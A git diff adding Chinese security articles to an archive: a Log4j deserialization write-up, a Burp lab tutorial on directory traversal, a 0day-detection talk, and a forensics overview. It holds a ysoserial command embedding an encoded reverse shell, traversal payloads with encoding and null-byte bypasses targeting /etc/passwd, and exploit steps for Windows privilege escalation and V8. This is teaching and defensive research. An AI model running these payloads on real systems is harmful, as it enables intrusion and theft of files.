diff --git a/data.json b/data.json
index 2be04335..cbcb68ab 100644
--- a/data.json
+++ b/data.json
@@ -3439,5 +3439,10 @@
"https://mp.weixin.qq.com/s?__biz=Mzk0ODYwNjI1NA==&mid=2247484093&idx=1&sn=368784930a6a478e041b84cfcb1d463a": "【安全预警】明源云ERP报表服务GetErpConfig存在信息泄露漏洞",
"https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247492552&idx=1&sn=402d5fb57f89d62a333008877fafe951": "告别命令行!DeepSeek本地运行可视化指南:从安装到交互界面实战",
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515803&idx=2&sn=0e8d3509ce68e9d3c751586e26ea08c5": "APP渗透测试 -- 支付逻辑漏洞",
- "https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247492129&idx=1&sn=a7625b1a910086ee3bbde9544f055382": "新的 UEFI 安全启动严重漏洞,请立即修补"
+ "https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247492129&idx=1&sn=a7625b1a910086ee3bbde9544f055382": "新的 UEFI 安全启动严重漏洞,请立即修补",
+ "https://mp.weixin.qq.com/s?__biz=Mzg3Mzk2MzA3Nw==&mid=2247483863&idx=1&sn=3bad3dd3b64d3812fb4640e91bdf52ea": "创新终端主动防护-多种通用0day漏洞检测方案",
+ "https://mp.weixin.qq.com/s?__biz=MzkzMDg1MzIwNA==&mid=2247487295&idx=1&sn=1d68a219fec3a01ea84c598bf48811fe": "【burpsuite靶场-服务端3】目录遍历漏洞",
+ "https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655264930&idx=1&sn=0a275a5bf702dc56d6a9f833e7aeacdf": "数字取证之数据分析",
+ "https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650607379&idx=2&sn=1a33bc4a7ac127d883ebe4a69affe12b": "新的“双击劫持”漏洞绕过主要网站上的点击劫持保护",
+ "https://mp.weixin.qq.com/s?__biz=Mzg4NDg3NjE5MQ==&mid=2247485618&idx=1&sn=83cfbd2aab32a9e8073abb2cd983f27d": "Log4j CVE-2017-5645反序列化漏洞"
}
\ No newline at end of file
diff --git a/doc/Log4j CVE-2017-5645反序列化漏洞.md b/doc/Log4j CVE-2017-5645反序列化漏洞.md
index f35efb70..9e2cacc6 100644
--- a/doc/Log4j CVE-2017-5645反序列化漏洞.md
+++ b/doc/Log4j CVE-2017-5645反序列化漏洞.md
@@ -1,5 +1,5 @@
# Log4j CVE-2017-5645反序列化漏洞
-原创 Hacker 0xh4ck3r 2025-01-20 04:01
+原创 Hacker 0xh4ck3r 2025-02-01 00:30
## Log4j CVE-2017-5645反序列化漏洞
### 影响范围
@@ -28,7 +28,7 @@ nmap -sS 192.168.75.146 -p 1-65535 -v
```
-
+
image-20220725135637339
#### 漏洞复现
@@ -36,11 +36,11 @@ image-20220725135637339
首先准备好生成利用的工具:**ysoserial.jar**
#### 工具验证漏洞是否存在
-
+
image-20220725142627138
-
+
image-20220725142656093
@@ -69,7 +69,7 @@ java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L
访问上述地址后,可以看到如下图,**反弹shell成功,此漏洞利用成功**
-
+
image-20220725152235839
diff --git a/doc/【burpsuite靶场-服务端3】目录遍历漏洞.md b/doc/【burpsuite靶场-服务端3】目录遍历漏洞.md
new file mode 100644
index 00000000..cd85f388
--- /dev/null
+++ b/doc/【burpsuite靶场-服务端3】目录遍历漏洞.md
@@ -0,0 +1,149 @@
+# 【burpsuite靶场-服务端3】目录遍历漏洞
+underatted 泷羽Sec-underatted安全 2025-02-01 03:08
+
+# 免责声明:
+
+由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我会立即删除并致歉。谢谢!
+# 1. 简介
+
+在本节中,我们将解释什么是目录遍历,描述如何进行路径遍历攻击 和 绕过常见防护方式,并详细说明如何防范路径遍历漏洞。
+## 1.1 概念
+
+目录遍历(也称为文件路径遍历)是一个 Web 安全漏洞,它允许攻击者读取应用程序所在服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据 以及敏感的操作系统文件。在某些情况下,攻击者还能够向服务器上 写入任意文件,从而允许他们修改应用程序的数据或行为,并最终完全控制服务器。
+## 1.2 通过目录遍历读取任意文件
+
+思考,假如有一个显示待售商品图像的购物型 Web 应用程序。该图像通过一些 HTML 加载,如下所示:
+```
+
+```
+
+loadImage
+的 URL 接受一个filename
+参数并返回指定文件的内容。图像文件本身存储在磁盘上的位置/var/www/images/
+中。为了返回图像,应用程序将请求的文件名追加到这个基目录,并使用文件系统 API 读取文件的内容。在上述情况中,应用程序将读取以下文件路径:
+```
+/var/www/images/218.png
+```
+
+该应用程序未对目录遍历攻击实施任何防御,因此攻击者可以请求以下 URL 并从服务器的文件系统中检索任意文件:
+```
+https://insecure-website.com/loadImage?filename=../../../etc/passwd
+```
+
+这将导致应用程序读取以下文件路径:
+```
+/var/www/images/../../../etc/passwd
+```
+
+序列../
+在文件路径中有效,表示在目录结构中向上提升一级。连续三个../
+序列将会从/var/www/images/
+一直上升到文件系统根目录,因此实际读取的文件是:
+```
+/etc/passwd
+```
+
+在基于 Unix 的操作系统上,这是一个标准文件,其中包含 在服务器上注册的用户详细信息。
+
+在 Windows 上,../
+和..\
+两者都是有效的目录遍历序列,用于检索标准操作系统文件的等效攻击是:
+```
+https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
+```
+### 实验 1 :文件路径遍历,简单案例
+
+打开图片路径
+filename直接以文件名作为用户输入,使用相对路径,修改filename即可
+
+## 1.3 利用文件路径遍历漏洞时的常见阻碍
+### 实验2 :文件路径遍历,使用绝对路径旁路阻止遍历序列
+
+许多将用户输入放置到文件路径中的应用程序实现了某种针对路径遍历攻击的防御,从而规避这些攻击。
+
+如果应用程序从用户提供的文件名中 剥离或阻止目录遍历序列,则可以使用各种技术绕过防御。
+
+您可以使用文件系统根目录中的绝对路径(例如filename=/etc/passwd
+)来直接引用文件,而无需使用任何遍历序列。
+
+同理,但是是利用绝对路径
+
+### 实验3:文件路径遍历,非递归剥离遍历序列
+
+有时,你可以使用嵌套的遍历序列,例如....//
+或....\/
+,当内部序列被剥离时,这些序列将恢复为简单的遍历序列。(双写绕过)
+
+```
+....//....//....//etc/passwd
+```
+## 实验4:文件路径遍历,遍历序列剥离多余的URL解码
+
+在某些情况下,例如在 URL 路径或 multipart/form-data
+ 请求的filename
+参数中,Web 服务器可能会在将输入传递到应用程序之前,剥离任何目录遍历序列。
+
+你有时可以通过 URL 编码,甚至双 URL 编码,基于../
+字符,分别生成%2e%2e%2f
+或%252e%252e%252f
+,从而绕过这种防护。还有各种非标准编码 也可以解决该问题,例如..%c0%af
+或..%ef%bc%8f
+。
+
+对于
+BurpSuite专业版 (opens new window)
+的用户,Burp Intruder 提供了一个预定义的有效负载列表(**Fuzzing - path traversal**
+),其中包含各种 编码后的路径遍历序列。
+
+前面步骤就不重复说了,直接将包发送到intruder
+BurpSuite 内置了一些常用字典,选择其中的 “Fuzzing - path traversal” ,这是用于路径遍历漏洞的模糊测试字典。
+找到 “Payload encoding” 配置项,将其中的 √ 取消勾选(默认是启用的)。 因为目录遍历的 攻击载荷 存在特殊字符,要防止其被编码。
+成功
+拿去decode解码一下,发现进行了二次编码
+将hosts改成passwd即可通过实验。
+## 实验5:文件路径遍历,路径开始验证
+
+如果应用程序要求用户提供的文件名,必须以预期的基文件夹(例如/var/www/images
+)开头,则可以包含所需的基文件夹,然后再加上合适的遍历序列。例如:
+```
+filename=/var/www/images/../../../etc/passwd
+```
+
+
+
+### 实验6:文件路径遍历-空字符绕过
+
+如果应用程序要求用户提供的文件名,必须以预期的文件扩展名(例如.png
+)结尾,则可以使用空字符,在所需扩展名之前 有效地终止文件路径。例如:
+```
+filename=../../../etc/passwd%00.png
+```
+
+添加多个扩展名,响应 无此文件
+
+
+在两个扩展名之间添加空字符,例如%00
+,形成41.jpg%00.jpg,图片正常显示。 说明第二个扩展名被忽略了,应用程序只识别了前面的
+65.jpg`。
+
+
+同理,直接访问,../../../../etc/passwd显示无此文件
+添加 空字符和扩展名,例如%00.jpg
+。
+
+## 1.4 如何防范目录遍历攻击
+
+防范文件路径遍历漏洞的最有效方法是,避免将用户提供的输入完全传递给文件系统 API。可以重写许多应用程序的操作函数,以更安全的方式提供相同的行为。
+
+如果认为 将用户提供的输入 传递到文件系统 API 是不可避免的,则应该同时使用两层防御来防范攻击:
+- 应用程序应该在 处理用户输入之前 对其进行验证。理想情况下,验证应该与白名单进行比较。如果所需的功能无法实现这一点,则应该验证输入 是否仅包含允许的内容,例如纯字母 / 数字 / 字符。
+
+- 在验证提供的输入之后,应用程序应该将输入追加到基目录,并使用平台文件系统 API 规范化路径。它应验证规范化的路径 是否以预期的基目录开头。
+
+下面是一些简单的 Java 代码示例,用于 根据用户的输入 验证文件的规范路径:
+```
+File file = new File(BASE_DIRECTORY, userInput);if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file}
+```
+
+
+
diff --git a/doc/创新终端主动防护-多种通用0day漏洞检测方案.md b/doc/创新终端主动防护-多种通用0day漏洞检测方案.md
new file mode 100644
index 00000000..81332d31
--- /dev/null
+++ b/doc/创新终端主动防护-多种通用0day漏洞检测方案.md
@@ -0,0 +1,238 @@
+# 创新终端主动防护-多种通用0day漏洞检测方案
+原创 xiaoliangliu xiaoliangliu 2025-02-01 03:08
+
+2019 可能会是过去十年里最差的一年,但却是未来十年里最好的一年。没想到日子这么快已经2025
+,祝福大家新年快乐,我写了一篇关于0day漏洞检测的技术文章进行开源分享,供互相交流学习。
+
+## 摘要
+
+在真实世界中,APT组织使用0day/Nday进行一系列攻击的比例居高不下,在企业安全的角度,我们必须开发一套0day检测系统去检测0day漏洞,抵御未知的威胁。根据google的在野漏洞报告,我们研究出了针对windows内核提权漏洞,windows服务提权漏洞,chrome v8远程执行漏洞等的一套组合式0day漏洞检测系统,帮助我们检测0day,抵御风险。在多年的对抗中我们检测到了CVE-2023-21768 windows 内核0day漏洞,和其他若干的Nday漏洞,比如CLFS内核漏洞,V8 RCE漏洞等。
+
+
+
+ 在这次演讲中我们首先会分享多个方向的漏洞利用手法,其次会分享构造一套0day检测系统的方法论,其中会说明我们的0day漏洞检测方法和运营方法。最后我们会分享检测到的0day/nday漏洞样本,还会介绍一个我们捕获到的APT组织,并且介绍该组织是如何利用漏洞实现完整攻击。同时还会分享在甲方构造一套企业级的0day漏洞检测系统的经验,以及为什么我们能检测到0day的原因,期望能给业界一些灵感和思路。
+## 1. 0day漏洞攻击趋势
+
+ APT攻击愈演愈烈,近几年发生了一系列的勒索,漏洞攻击事件。2019到2023年间 0day漏洞攻击趋势一直呈现上涨趋势,APT组织利用0day漏洞攻击的比例越来越高,企业非常有必要去防御0day攻击。如下是总结google在野0day表格得到的0day攻击统计图,在后续我们会讲解主要的0day攻击和防御方式。
+
+
+## 2. 漏洞利用方式总结
+### 2.1.Windows内核提权漏洞利用方式
+
+近3-5年内公开了一系列Windows内核提权漏洞的任意读写函数,主要来自于在野漏洞的公布和研究员的分享,比如NtUpdateWnfStateData/NtQueryWnfStateData,SubmitIoRing。 借助这些函数我们可以把当前token地址提高到system token地址或者更改token的privilge count,同时一种叫更改previousmode的技术被APT组织越来越多的使用,该项技术被用来绕过内核对应用层参数的检查,进而借助NtReadVirtualMemory/NtWriteVirtualMemory等类似的函数实现任意读写。当然还有Pipe Attribute的面世也引领了内核提权漏洞的进步,我们把一系列有代表性的任意读写函数和CVEs做了总结。这些函数的共同特点是都可以利用漏洞实现任意读写达到提高权限的目的。值得一提的是我们捕获到的0day样本CVE-2023-21768 并没有使用任何的读写原语。
+
| | |
| | |
| | |
| | |
| | |
| NtReadVirtualMemory/ NtWriteVirtualMemory | | |
| | |
| | win11 |
+### 2.2.Windows服务逻辑漏洞提权利用方式
+
+**和符号链接相关的服务提权漏洞:**
+
+在过去的几年内,Windows服务逻辑漏洞大量的出现,而这些漏洞的典型特征是服务在进行读写,移动,删除文件时并没有很好的做好校验权限,总是以NT AUTHORITY\SYSTEM权限执行,此时如果我们通过符号链接挂载这些被写或者移动,删除的文件,则可能会创造出任意文件写/任意文件移动/任意文件删除到提权的效果,比较典型的案例有
+CVE-2020-0668
+,该漏洞是一个任意文件移动漏洞,它的典型漏洞利用手法如下
+```
+1.Create (or copy) a file with a size greater than 0x8000 (32,768) bytes.
+2.Create a new directory (C:\EXPLOIT\mountpoint\ for example) and set it as a mountpoint to \RPC Control.
+3.Create the following symbolic links:
+ \RPC Control\RASTAPI.LOG -> \??\C:\EXPLOIT\FakeDll.dll (owner = current user)
+ \RPC Control\RASTAPI.OLD -> \??\C:\Windows\System32\WindowsCoreDeviceInfo.dll
+4.Configure the following values in the registry:
+ FileDirectory = C:\EXPLOIT\mountpoint
+ MaxFileSize = 0x8000 (32,768 bytes)
+ EnableFileTracing = 1
+5.Trigger RASTAPI related events using the RasDial function from the Windows API.
+6.Trigger the Update Session Orchestrator service to load the DLL in the context of NT AUTHORITY\SYSTEM.
+
+source :https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/#the-tracing-feature-for-services
+```
+
+我们可以看到当我们借助符号链接实现文件移动后,再借助
+Update Session Orchestrator service 加载该dll即可实现system级别的提权,同样还有
+CVE-2020-0787,CVE-2020-0753等,2024年跟符号链接漏洞相关比较近的是
+ CVE-2024-1694
+,
+该漏洞是Google Update Service的提权漏洞,Google Update Service会以system权限删除在%AppData$\Local目录下的文件,该目录下的文件可如果被挂载,则会造成任意文件删除到提权的效果
+。
+
+****
+**和符号链接无关的服务提权漏洞:**
+
+在Windows服务逻辑漏洞提权中当然还有不借助于符号链接的手法,比较典型的就是打印机中的
+PrintNightmare系列漏洞,比如
+CVE-2021-1675
+,该漏洞可以
+通过普通用户的权限添加打印机驱动,在进行一系列的绕过后,可以让Spooler服务加载我们设定的恶意dll,而Spooler服务本身是以NT AUTHORITY\SYSTEM权限运行,进而完成了从medium到system级别的提权。还有一系列类似的漏洞,例如
+CVE-2021-34527
+,
+CVE-2021-34481
+,
+CVE-2021-36958
+等。
+
+
+
+以上就是在过去3-5年内windows服务侧逻辑漏洞提权利用方式,虽然微软对符号链接漏洞添加了缓解措施,但仍存在公开已知的符号链接利用手法,最新的windows中hardlink,symlink等均要求管理员权限,但是Juntion(目录链接并无任何要求)。同时大量的客户端软件,安全软件面临类似的提权操作,甚至我们看到chrome也有相似的问题,攻击者借助这类漏洞攻击会难以防御,对企业内部造成重大损失。
+### 2.3.chromeV8漏洞利用方式总结
+
+Google在2023年收录了很多V8的在野0day,比如CVE-2023-2033,CVE-2023-3079,CVE-2023-4762等,因为V8 SandBox的原因,又有很多研究员找到了绕过v8 sandbox的方法并进一步利用的方式,典型案例是
+CVE-2024-0517
+。
+
+同样在v8的对抗中,攻击手法是不断的进步和更迭,我们总结到90%的v8漏洞利用都使用到了wasm,并且它的利用方式是一个通用套路模板,整体核心目标都是找到wasm的RWX地址,接着使用任意读写原语将shellcode覆盖该地址,紧接着调用wasm的exports函数执行shellcode,如下示例。
+```
+ var wasmCode = new Uint8Array([[ TRUNCATED ]]);
+ var wasmModule = new WebAssembly.Module(wasmCode);
+ var wasmInstance = new WebAssembly.Instance(wasmModule);
+ let addr_wasminstance = addrof(wasmInstance);
+ let wasm_rwx = v8h_read64(addr_wasminstance+wasmoffset);
+ var f = wasmInstance.exports.main;
+ v8h_write64(addr_wasminstance+wasmoffset, 0x41414141n);
+ f();
+
+source :https:/blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/
+```
+## 3. 终端主动防御0day漏洞检测方案
+### 3.1.构建终端主动防御0day漏洞检测系统
+
+我总结和分析得到了近3-5年内的windows内核,服务,chrome方面的漏洞攻防知识,在这套基础上我们针对于不同的方向设计了相关的检测方案。我们构建了虚拟化级别和驱动级别的底层引擎,该层主要目标是实现在win10/11平台上对任意读写函数的Hook和系统行为信息的采集,应用层通过采集到的高质量数据源,结合研究知识,漏洞利用特征,漏洞利用行为实现多维度的0day漏洞检测,当我们检测到真实的0day/nday后则上报到威胁狩猎平台,借助高质量的检测数据第一时间可发现阻断0day攻击。
+
+#### 3.1.1.windows内核漏洞检测
+
+ 基于任意读写原语的检测方案
+
+ 内核漏洞提权的本质是借助API实现任意读写并提权,我们在虚拟化层面对任意读写函数进行了监控,并且传递事件到应用层实现提权的检测逻辑,比如检测token地址的更改,检测token privilege count 递增。基于虚拟化技术拥有了底层Hook的能力并根据提权特征实现相关的检测,但是误报无可避免,主要的误报原因是进程在启动初始化过程中token并不是一成不变,例如chrome是一个多进程架构产品,它有很多的权限操作会导致大量误报导致无法检测到0day,我们深入研究了Windows是如何保证权限在初始化后不被更改(非漏洞),解决了token变化的误报问题,达到了数千万机器日均只有数百左右告警的能力,进而检测到了一系列提权漏洞。
+
+ 基于敏感行为的检测方案
+
+ 微软在驱动层提供了各种回调帮助我们实现进程,文件,注册表,LoadImage等的一系列行为检测,我们在驱动层注册了微软的驱动回调实现了对进程,文件,注册表,LoadImage等的一系列事件监控。而在APT攻击中当借助漏洞实现提权后往往会进行一系列的后渗透行为,比如启动shell,远程下载后门文件,改写敏感注册表值等,而这些行为都可以通过微软提供的回调实现监控,在这些敏感行为处我们增加了提权漏洞的检测逻辑,这样即使是APT组织使用未公开的任意读写函数进行了提权,我们也可以在行为中实现权限检测,如下是我们使用到的驱动回调。
+ | |
| PsSetCreateProcessNotifyRoutine(Ex) | |
| PsSetCreateThreadNotifyRoutine | |
| PsSetLoadImageNotifyRoutine | |
| |
| |
| |
#### 3.1.2.windows服务提权漏洞检测
+
+符号链接的挂载往往是为了让高权限服务在写,移动,删除文件的时候可以把恶意dll写/移动到特殊目录,并让拥有system权限的服务加载该dll实现提权,非符号链接挂载的逻辑漏洞则是绕过一系列检测从而让system权限的服务加载恶意dll。
+
+我们发现逻辑漏洞的提权本质是让system权限的服务加载恶意dll,在内存上并没有很显眼的特征,但是在行为处特征显眼,比如会触发符号链接挂载,加载dll,任意文件移动/写等行为,所以为什么不从行为处检测这类型漏洞?基于以上漏洞利用的行为,我们决定通过微软提供的回调实现符号链接挂载监控,对特殊目录的(类似system32)写/删除文件监控,特殊服务(比如Spooler)的LoadImage行为监控。但是这些行为通常也是应用运行的正常行为,并不只是漏洞专属行为,我们无法监控某个行为从而判断出是漏洞攻击,所以基于漏洞触发到提权的行为特征->符号链接挂载,任意写/移动/删除文件到特殊目录,特殊服务加载dll,我们设计了相关的计算逻辑去检测逻辑提权漏洞,比如针对打印机服务,我们认为一个普通符号链接挂载的dll是被打印机或者通信打印机的client端写到特殊目录,打印机服务加载了该dll我们才会认为是一个疑似提权漏洞,
+并且该dll和client在我们的云查系统是确切白以外的二进制文件我们才会认为是疑似恶意,这样也避免了很多误报。
+
+
+#### 3.1.3.chrome v8漏洞利用检测
+
+我们已经说过v8 大多数的漏洞利用是基于wasm的,传统的检测都是对ROP的利用方式检测或者是判断一下内存属性。这些方案已经远远跟不上v8的漏洞攻防,对于v8的漏洞利用检测我们从wasm的研究起手。
+
+wasm研究:
+
+我们已经在上文看到了v8的漏洞利用模板,查看如下wasm的js代码示例
+```
+var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0,
+1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0,
+1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0,
+7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
+105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
+var wasm_mod = new WebAssembly.Module(wasm_code);//Generate rwx data
+var wasm_instance = new WebAssembly.Instance(wasm_mod);
+var main = wasm_instance.exports.main;
+main();
+```
+
+ 首先是wasm的内存标记,如下可以看到当我们打印出wasmCode的地址后可以看到data_ptr指向的内存标记为.asm,可以通过这个标记清楚的知道wasm的内存,初期我以为wasm的RWX内存在这块内存内,并被VirtualProtect更改内存属性,最后发现wasm的RWX内存是被重新分配的。
+
+
+
+
+
+ 接着我们的故事->去寻找wasm的RWX内存。我发现v8会通过VirtualAlloc申请一块PAGE_NOACCESS的内存,接着再把这块内存中一块小内存设置为RWX,而v8的漏洞利用中往往覆盖的就是这块内存地址。
+
+ 在理解清楚wasm的RWX内存申请逻辑后,我研究了cs,msf加载shllcode的流程,因为shellcode并不能直接调用api,所以需要遍历_LDR_DATA_TABLE_ENTRY寻找函数位置并调用,这是shellcode中比较显眼的特征。综合v8的漏洞利用特征和shellcode特征,我们得到了标记wasm内存,查找shellcode和wasm内存的关系来检测漏洞攻击的方法论,这套检测逻辑帮我们检测到了不少Nday。如下是检测到的相关CVE示例。
+
+
+### 3.2.云端威胁分析平台
+
+ 我们的0day分析平台基于ES实现了大数据的存储和聚合,基于flink实现了大数据的实时计算,构造了相关的实时计算引擎,结合云端的威胁情报和大样本库,我们可以快速的实现相关的告警分析和运营,并且因为我们的强优点在于在终端基于内存和漏洞利用特征实现检测而非云端规则匹配,使其云端误报量非常低,在千万级的机器部署后云端只有几百的告警量,基于es的查询聚合能力和威胁情报,我们可以快速的分析样本并且第一事件处置。
+## 4. 成果分享
+### 4.1.0day CVE-2023-21768的捕获和分析
+
+这是对于0day CVE-2023-21768的分享,它的漏洞原因是内核未校验应用层传入的地址,导致可以直接任意写,漏洞利用难度低,但是因为没有借助任何公开的读写函数,检测难度很高。
+
+分析该样本可看到循环调用了NtSetIoCompletion 0xff次,紧接着调用了ProcessSocketNotifications, 该函数会通信到驱动调用afd!IoRemoveIoCompletion,
+
+在afd!IoRemoveIoCompletion内,receivedEntryCount参数会被赋值为0xff,而receivedEntryCount是一个地址,从应用层传入到内核时却未被检测是否合理,因此我们可以通过NtQuerySystemInformation得到当前进程的token privilge count地址并赋值到receivedEntryCount实现递增。在样本的利用中我们看到它并未使用任何公开的任意读写函数,通过历史因素去扫描完全是没有特征可以借鉴的。
+该样本在提权后,借助PPID技术更改父子进程,伪造进程链逃避检测。
+
+
+
+
+
+
+chompie和b33f也公布了借助IoRing实现CVE-2023-21768的提权
+```
+https:/github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768
+```
+### 4.2.Nday系列分析
+
+让我们再来看一下捕获到的一系列Nday,我觉得这也是比较有代表性的样本,首先是关于CLFS系列漏洞样本,第一个CLFS样本是CVE-2022-24521,它首先通过NtQuerySystemInformation获取到了当前进程的EPROCESS地址,在这个基础上计算得到了PreviousMode位置,紧接着获取到了ClfsSetEndOfLog的函数指针,并且通过漏洞利用该函数实现了PreviousMode的更改,接着利用NtWriteVirtualMemory去实现任意地址写,覆盖当前进程的token为system进程的token。整体来看它借助NtQuerySystemInformation实现kernel leak,借助ClfsSetEndOfLog去更改previousMode,最后利用NtWriteVirtualMemory实现token替换达到提权的目的。
+
+
+
+
+
+
+
+ 紧接着是另一个CLFS漏洞样本
+CVE-2021-36955
+,经过分析得到通过该样本调用
+hal!XmXchgOp实现任意写,当触发漏洞的时候调用hal!XmXchgOp实现token地址的替换,我们可以看到攻击者使用任意读写原语已经偏向于到使用内核函数。
+
+
+
+Origin token
+
+
+
+Now token(system token)
+
+
+
+ 第三个Nday是CVE-2022-21882,它是CVE-2021-1732的变体,它绕过了CVE-2021-1732的补丁并且再次使用GetMenuBarInfo和SetWindowLongPtr的任意读写原语实现权限的提升。
+
+
+### 4.3.APT级别的漏洞攻击案例
+
+ 我们捕获到了几个APT组织借助漏洞实现恶意攻击,我将分享紫狐利用CVE-2021-1732实现攻击的案例,我们可以看到当紫狐入侵到客户机器后直接启动powershell远程下载png文件,而该png文件中包含了恶意的漏洞利用代码,它反射注入该jpg到poershell并执行,在内存中实现了提权,把当前powershell的权限从medium提权到了system级别,紧接着写入sens.dll到system32目录并重启系统使其服务加载该恶意dll,再进一步实现提权和远程c2实现连接。虽然紫狐在内存中进行了提权并且没有明显的行为信息,但是它依旧使用了SetWindowLongPtr任意读写函数进行了token更改,我们第一时间发现了这个不寻常的攻击。经过分析得到紫狐使用的是
+CVE-2021-1732
+内核漏洞。
+
+
+
+
+ 综上我们可以看到不论是0day还是Nday都有自己一些独特的漏洞利用手法,而这些手法社区很多可能都是不公开的,比如0day CVE-2023-21768借助直接写的方式实现提权,而Nday CLFS的样本使用了内核函数
+hal!XmXchgOp,当触发漏洞的时候才会调用该函数指针实现提权,
+CVE-2022-21882是CVE-2021-1732的变体,是社区经常提到的绕过补丁再次利用的典型手法,0day的检测需要持续性更进和创新。
+## 5.展望
+
+ 希望我们做出的如上技术分享可以帮助到社区去更好的对抗漏洞攻击,提高业界整体的对抗能力。感谢优秀的进攻侧研究员让我了解到了一线攻击技术,使我可以更好的抵御攻击
+,
+在未来我仍然会紧跟漏洞攻防技术、APT攻防技术,在第一线去实时对抗并分享安全技术,谢谢大家。
+## 6.引用
+```
+1.https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
+2:https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
+3:https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
+4:https://github.com/yardenshafir/IoRingReadWritePrimitive
+5:https://github.com/oct0xor/presentations/blob/master/2019-02-Overview%20of%20the%20latest%20Windows%20OS%20kernel%20exploits%20found%20in%20the%20wild.pdf
+6:https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/#the-tracing-feature-for-services
+7:https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks
+8: https://github.com/thezdi/PoC/tree/master/FilesystemEoPs
+9:https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/
+```
+
+
+Finally,感谢PJF的指导,pengyan,dongjie,wupeng,lijian,pengcheng,shunguang的深度合作。
+
+
+祝福大家2025工作顺利,阖家团圆!
+
+
+author:liuxiaoliang
+
+twitter:Xiaoliang Liu(@flame36987044)
+
+
+微信:chenxiaolxc
+
+
diff --git a/doc/数字取证之数据分析.md b/doc/数字取证之数据分析.md
new file mode 100644
index 00000000..f57db029
--- /dev/null
+++ b/doc/数字取证之数据分析.md
@@ -0,0 +1,67 @@
+# 数字取证之数据分析
+ 计算机与网络安全 2025-02-01 01:57
+
+数字取证是一种法律和计算机科学领域的专业实践,它涉及使用科技和计算机取证工具来调查数字设备和电子数据,以收集、分析和保护与犯罪、法律诉讼或其他调查相关的证据。
+
+
+**数据分析的目的**
+
+
+数字取证中的数据分析旨在从收集到的电子数据中提取与调查相关的信息和证据。这些信息可能包括文件内容、通信记录、数据库条目、元数据等,它们对于揭示犯罪事实、支持法律诉讼或解决其他调查问题至关重要。
+
+
+**数据分析的方法**
+
+
+1. 文件分析:检查文件的元数据、时间戳和文件结构,以确定文件的来源、创建时间、修改历史等关键信息。这有助于调查人员追踪文件的传播路径和识别潜在的证据。
+
+
+2. 时间线分析:通过整理和分析事件的时间戳,重建事件的发生顺序和时间线。这有助于调查人员理解事件的演变过程,并识别异常行为或关键时间点。
+
+
+3. 关键词搜索:使用关键词搜索技术,在大量数据中快速定位与调查相关的特定信息。这有助于缩小调查范围,提高取证效率。
+
+
+4. 关联分析:将不同来源的数据进行关联,以构建全面的证据链。例如,将通信记录与文件传输记录相关联,以揭示涉案人员之间的通信内容和文件交换情况。
+
+
+5. 网络流量分析:对网络流量进行监测和分析,以识别异常行为或攻击痕迹。这有助于调查人员发现网络攻击、数据泄露等安全事件,并追踪攻击者的活动路径。
+
+
+**数据分析的工具**
+
+
+在数字取证中,数据分析工具的选择取决于数据的类型、规模和调查的需求。以下是一些常用的数据分析工具:
+
+
+1. Autopsy:一个全面的数字取证平台,提供了强大的分析功能,如磁盘块分析、关键字搜索、文件分类过滤等。它还支持镜像完整性验证、文件MD5比对等功能,有助于确保数据的完整性和可靠性。
+
+
+2. Bulk_extractor:一款高效的数据提取工具,能够扫描磁盘映像、文件和目录等输入,并提取有组织的信息,如电子邮件地址、信用卡号码等。这对于识别潜在证据和追踪犯罪活动非常有用。
+
+
+3. NetworkMiner:专门从PCAP文件中捕获的网络流量中提取文件、图像、电子邮件和密码等工件。它支持多种网络协议和检测功能,适用于不同类型的流量分析。
+
+
+4. WinHex:在计算机取证、数据恢复等领域尤为有用。它支持十六进制数据的查看和编辑,允许用户检查和修改各种文件类型,以及恢复删除的文件或从损坏的文件系统或数码相机卡的硬盘驱动器检索丢失的数据。
+
+
+**数据分析的挑战与应对**
+
+
+在数字取证的数据分析中,调查人员可能会面临数据量大、数据类型多样、数据完整性难以保证等挑战。为了应对这些挑战,调查人员需要采取以下措施:
+
+
+1. 提高数据处理能力:使用高效的数据处理工具和技术,以提高数据分析的速度和准确性。
+
+
+2. 加强数据完整性保护:在数据收集、存储和分析过程中,采取严格的措施确保数据的完整性和可靠性。例如,使用散列算法对数据进行校验,以检测数据的篡改或损坏。
+
+
+3. 培养专业人才:加强数字取证领域的人才培养和培训,提高调查人员的专业技能和知识水平。这有助于他们更好地应对复杂的数字取证挑战,提高取证效率和质量。
+
+
